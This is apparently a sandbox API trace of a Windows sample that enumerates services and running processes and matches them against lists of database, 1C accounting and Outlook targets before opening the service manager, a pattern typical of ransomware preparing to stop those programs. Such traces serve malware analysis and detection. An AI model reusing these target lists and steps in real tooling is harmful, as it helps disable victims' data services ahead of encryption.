	[0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0276.961] lstrlenW (lpString="MMCSS") returned 5
	[0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0276.962] lstrlenW (lpString="MpsSvc") returned 6
	[0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0276.962] lstrlenW (lpString="Netman") returned 6
	[0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0276.962] lstrlenW (lpString="netprofm") returned 8
	[0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0276.962] lstrlenW (lpString="NlaSvc") returned 6
	[0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0276.962] lstrlenW (lpString="nsi") returned 3
	[0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0276.963] lstrlenW (lpString="PcaSvc") returned 6
	[0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0276.963] lstrlenW (lpString="PlugPlay") returned 8
	[0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0276.963] lstrlenW (lpString="Power") returned 5
	[0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0276.963] lstrlenW (lpString="ProfSvc") returned 7
	[0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0276.963] lstrlenW (lpString="RpcEptMapper") returned 12
	[0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0276.963] lstrlenW (lpString="RpcSs") returned 5
	[0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0276.964] lstrlenW (lpString="SamSs") returned 5
	[0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0276.964] lstrlenW (lpString="Schedule") returned 8
	[0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0276.964] lstrlenW (lpString="SENS") returned 4
	[0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0276.964] lstrlenW (lpString="ShellHWDetection") returned 16
	[0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0276.965] lstrlenW (lpString="Spooler") returned 7
	[0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0276.965] lstrlenW (lpString="SysMain") returned 7
	[0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0276.965] lstrlenW (lpString="Themes") returned 6
	[0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0276.965] lstrlenW (lpString="TrkWks") returned 6
	[0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0276.965] lstrlenW (lpString="UxSms") returned 5
	[0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0276.966] lstrlenW (lpString="WdiServiceHost") returned 14
	[0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0276.966] lstrlenW (lpString="WdiSystemHost") returned 13
	[0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0276.966] lstrlenW (lpString="Winmgmt") returned 7
	[0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0276.966] lstrlenW (lpString="WPDBusEnum") returned 10
	[0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0276.966] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4206ba8 | out: hHeap=0x4a0000) returned 1
	[0276.966] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x274
	[0276.967] Process32FirstW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0276.968] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0276.968] lstrlenW (lpString="System") returned 6
	[0276.968] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0276.968] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0276.968] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0276.968] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0276.968] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0276.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0276.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0276.968] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0276.968] lstrlenW (lpString="smss.exe") returned 8
	[0276.968] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0276.968] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0276.968] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0276.968] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0276.968] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0276.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0276.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0276.969] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0276.969] lstrlenW (lpString="csrss.exe") returned 9
	[0276.969] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0276.969] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0276.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0276.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0276.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0276.969] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0276.969] lstrlenW (lpString="wininit.exe") returned 11
	[0276.969] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0276.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0276.969] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0276.970] lstrlenW (lpString="csrss.exe") returned 9
	[0276.970] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0276.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0276.970] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0276.970] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0276.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0276.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0276.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0276.970] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0276.970] lstrlenW (lpString="winlogon.exe") returned 12
	[0276.970] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0276.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0276.970] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0276.970] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0276.970] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0276.971] lstrlenW (lpString="services.exe") returned 12
	[0276.971] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0276.971] lstrlenW (lpString="lsass.exe") returned 9
	[0276.971] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0276.971] lstrlenW (lpString="lsm.exe") returned 7
	[0276.971] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.972] lstrlenW (lpString="svchost.exe") returned 11
	[0276.972] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.972] lstrlenW (lpString="svchost.exe") returned 11
	[0276.972] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.972] lstrlenW (lpString="svchost.exe") returned 11
	[0276.972] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.972] lstrlenW (lpString="svchost.exe") returned 11
	[0276.972] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.973] lstrlenW (lpString="svchost.exe") returned 11
	[0276.973] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0276.973] lstrlenW (lpString="audiodg.exe") returned 11
	[0276.973] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.973] lstrlenW (lpString="svchost.exe") returned 11
	[0276.973] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0276.973] lstrlenW (lpString="userinit.exe") returned 12
	[0276.974] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0276.974] lstrlenW (lpString="explorer.exe") returned 12
	[0276.974] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0276.974] lstrlenW (lpString="dwm.exe") returned 7
	[0276.974] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.974] lstrlenW (lpString="svchost.exe") returned 11
	[0276.974] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0276.975] lstrlenW (lpString="swpesp.exe") returned 10
	[0276.975] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0276.975] lstrlenW (lpString="spoolsv.exe") returned 11
	[0276.975] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0276.975] lstrlenW (lpString="taskhost.exe") returned 12
	[0276.975] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.975] lstrlenW (lpString="svchost.exe") returned 11
	[0276.975] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0276.976] lstrlenW (lpString="reader_sl.exe") returned 13
	[0276.976] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0276.976] lstrlenW (lpString="taskhost.exe") returned 12
	[0276.976] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1
	[0276.976] lstrlenW (lpString="drvinst.exe") returned 11
	[0276.976] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 0
	[0276.977] CloseHandle (hObject=0x274) returned 1
	[0276.977] Sleep (dwMilliseconds=0x1f4) 
	[0277.524] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3b06e88
